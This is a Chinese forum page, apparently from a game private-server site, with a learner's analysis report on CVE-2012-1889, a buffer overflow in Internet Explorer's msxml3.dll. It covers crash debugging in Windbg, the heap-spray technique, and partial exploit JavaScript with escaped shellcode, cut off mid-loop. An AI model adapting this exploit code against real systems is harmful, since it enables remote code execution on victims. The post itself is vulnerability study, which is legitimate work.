12558网页游戏私服论坛

 找回密码
 立即注册
游戏开服表 申请开服
游戏名称 游戏描述 开服状态 游戏福利 运营商 游戏链接
攻城掠地-仿官 全新玩法,觉醒武将,觉醒技能 每周新区 经典复古版本,长久稳定 进入游戏
巅峰新版攻 攻城掠地公益服 攻城掠地SF 新兵种、新武将(兵种) 进入游戏
攻城掠地公 散人玩家的天堂 新开 进入游戏
改版攻城掠 上线即可国战PK 稳定新区 全新改版,功能强大 进入游戏
少年江山 高福利高爆率 刚开一秒 江湖水落潜蛟龙 进入游戏
太古封魔录 开服送10亿钻石 福利多多 不用充钱也可升级 进入游戏
神魔之道 签到送元宝 稳定开新区 送豪华签到奖励 进入游戏
神奇三国 统帅三军,招揽名将 免费玩新区 激情国战,征战四方 进入游戏
龙符 三日豪礼领到爽 天天开新区 助你征战无双 进入游戏
王者之师 免费领豪华奖励 免费玩新区 6元送6888元宝 进入游戏
查看: 190|回复: 0

暴雷漏洞 (CVE-2012-1889)个人漏洞分析报告

[复制链接]

303

主题

303

帖子

616

积分

实习版主

Rank: 7Rank: 7Rank: 7

积分
616
发表于 2020-2-28 10:48:16 | 显示全部楼层 |阅读模式
新手入行,道行尚浅,如有疏忽错漏之处请各位坛友指点。
帖子写的比较啰嗦,大家将就看看吧。


Microsoft XML Core Services缓冲区溢出漏洞
(CVE-2012-1889)漏洞分析报告

[table][tr][td=1,1,94]  软件名称:  [/td][td=1,1,227]Microsoft  Internet Explorer[/td][td=1,1,94]操作系统:[/td][td=1,1,161]Windows  XP/7[/td][/tr][tr][td=1,1,94]  软件版本:  [/td][td=1,1,227]6.0/8.0[/td][td=1,1,94]漏洞编号:[/td][td=1,1,161]CVE-2012-1889[/td][/tr][tr][td=1,1,94]  漏洞模块:  [/td][td=1,1,227]msxml3.dll[/td][td=1,1,94]危害等级:[/td][td=1,1,161]高危[/td][/tr][tr][td=1,1,94]  模块版本:  [/td][td=1,1,227]8.110.7600.16385[/td][td=1,1,94]漏洞类型:[/td][td=1,1,161]缓冲区溢出[/td][/tr][tr][td=1,1,94]  编译日期:  [/td][td=1,1,227]2009-7-14[/td][td=1,1,94]威胁类型:[/td][td=1,1,161]远程

一、软件简介
Microsoft XML CoreServices(MSXML)是一组用于用Jscript、VBScript、Microsoft开发工具编写构筑基于XML的Windows-native应用的服务。
二、漏洞成因
Microsoft XML CoreServices 3.0~6.0版本中存在漏洞,该漏洞源于访问未初始化内存的位置。远程攻击者可借助特制的web站点利用该漏洞执行任意代码或导致拒绝服务。
三、利用过程
根据网上的资料,大致可以了解到漏洞利用过程由易到难有3个层次:[table][tr][td=1,1,191]  操作系统和IE版本  [/td][td=1,1,191]数据执行保护(DEP)[/td][td=1,1,191]随机基址(ASLR)[/td][/tr][tr][td=1,1,191]  XP + IE6  [/td][td=1,1,191][/td][td=1,1,191][/td][/tr][tr][td=1,1,191]  XP + IE8  [/td][td=1,1,191]开启[/td][td=1,1,191][/td][/tr][tr][td=1,1,191]  Win7 + IE8  [/td][td=1,1,191]开启[/td][td=1,1,191]开启因此我们从简单开始逐层提高利用难度。
1. XP + IE6.0
环境
运行收集到的PoC_1(见附件),在Windows XP+IE6的环境下用Windbg附加调试,程序运行至崩溃,中断处如图:



可见导致崩溃的[ecx+18h]中的ecx来自eax地址上的值,eax又来自[ebp-14h]即系统栈中的一个局部变量。推测问题由mov eax,dwordptr[ebp-14h]产生。运行网上收集到的POC_2,继续用Windbg附加程序,崩溃处的代码如下:


POC_2的代码:[HTML] 纯文本查看 复制代码    CVE 2012-1889 PoC v2 By:15PB.Com        

大致查看这段代码我们发现构造了一个0x1000大小值为0x0C0C0C0C的数据块,这个数据块导致缓冲区溢出,将[ebp-14]的位置覆盖成0x0C0C0C0C,此时从这个地址取数据导致访问错误。查看网上的资料结合 PoC_1 与 PoC_2 代码可知PoC 用作方法调用 definition 函数,而 MSDN中definition 作为属性使用,作为属性的成员当作了方法使用因此触发了漏洞。因为PoC_2 中提供了将 eax 变为0x0c0c0c0c 的思路,确定可以使用堆喷射技术完成攻击。

堆喷射
Heap Spray 是在 shellcode 的前面加上大量的 slide code(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致 shellcode 的执行。当申请大量的内存到时候,堆很有可能覆盖到的地址是 0x0A0A0A0A(160M),0x0C0C0C0C(192M), 0x0D0D0D0D(208M)等等几个地址,可以参考下面的简图说明。一般的网马里面进行堆喷时,申请的内存大小一般都是 200M,主要是为了保证能覆盖到 0x0C0C0C0C 地址。[HTML] 纯文本查看 复制代码        CVE 2012-1889 POC Red_Magic_ver.7                <script>        // 1.准备好shellcode        var cShellCode = unescape(&quot;\uEC81\u0200\u0000\u5BEB\u6148\u6B63\u6465\u6220\u2079\u6552\u5F64\u614D&quot;+        &quot;\u6967\u0063\u6157\u6E72\u6E69\u0067\u7845\u7469\u7250\u636F\u7365\u0073&quot;+        &quot;\u654D\u7373\u6761\u4265\u786F\u0041\u7375\u7265\u3233\u642E\u6C6C\u4C00&quot;+        &quot;\u616F\u4C64\u6269\u6172\u7972\u0041\u6547\u5074\u6F72\u4163\u6464\u6572&quot;+        &quot;\u7373\uE800\u0000\u0000\u645A\u1D8B\u0030\u0000\u4B8B\u8B0C\u1C49\u098B&quot;+        &quot;\u698B\u8B08\u3C45\u4C8B\u7805\uCD03\u598B\u8B20\u1441\uDD03\u8B48\u8334&quot;+        &quot;\uF503\u7A8B\u39EC\u753E\u8BF3\uF07A\u7E39\u7504\u8BEB\uF47A\u7E39\u7508&quot;+        &quot;\u8BE3\uF77A\u7E39\u750B\u8BDB\u2459\uDD03\u8B66\u4304\u598B\u031C\u8BDD&quot;+        &quot;\u833C\uFD03\uF78B\u428D\u52DF\u5550\uD6FF\uD88B\u8D5A\uD442\u5052\uD3FF&quot;+        &quot;\uF88B\u8D5A\uC842\u5052\uFF57\u5AD6\uD88B\u428D\u52BC\u5550\uD6FF\u605A&quot;+        &quot;\u4A8D\u8DB4\uA072\u006A\u5651\u006A\uD3FF\u6A61\uFF00\u00D0&quot;);        // 2.制作一块数据        // 2.1计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)        var nSlideSize                 = 1024*1024/2;                // 一个滑板指令区的大小(1MB)        var nMlcHadSize         = 32/2;                                // 堆头部大小        var nStrLenSize         = 4/2;                                // 堆长度信息大小        var nTerminatorSize = 2/2;                        // 堆结尾符号大小        var nScSize                 = cShellCode.length;        // shellcode 大小        var nFillSize                 = nSlideSize - nMlcHadSize - nStrLenSize - nScSize - nTerminatorSize;                // 2.2 填充滑板指令,制作好一块填充数据        var cFillData = unescape(&quot;\u0C0C\u0C0C&quot;);        // 滑板指令 0C0C        OR AL,0C0C        var cSlideData = new Array();                                // 申请一个数组对象用于保存滑板数组        while(cFillData.length

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
楼主热帖
回复

使用道具 举报

*滑块验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|12558网页游戏私服论坛 |网站地图

GMT+8, 2024-5-5 18:41 , Processed in 0.156250 second(s), 31 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表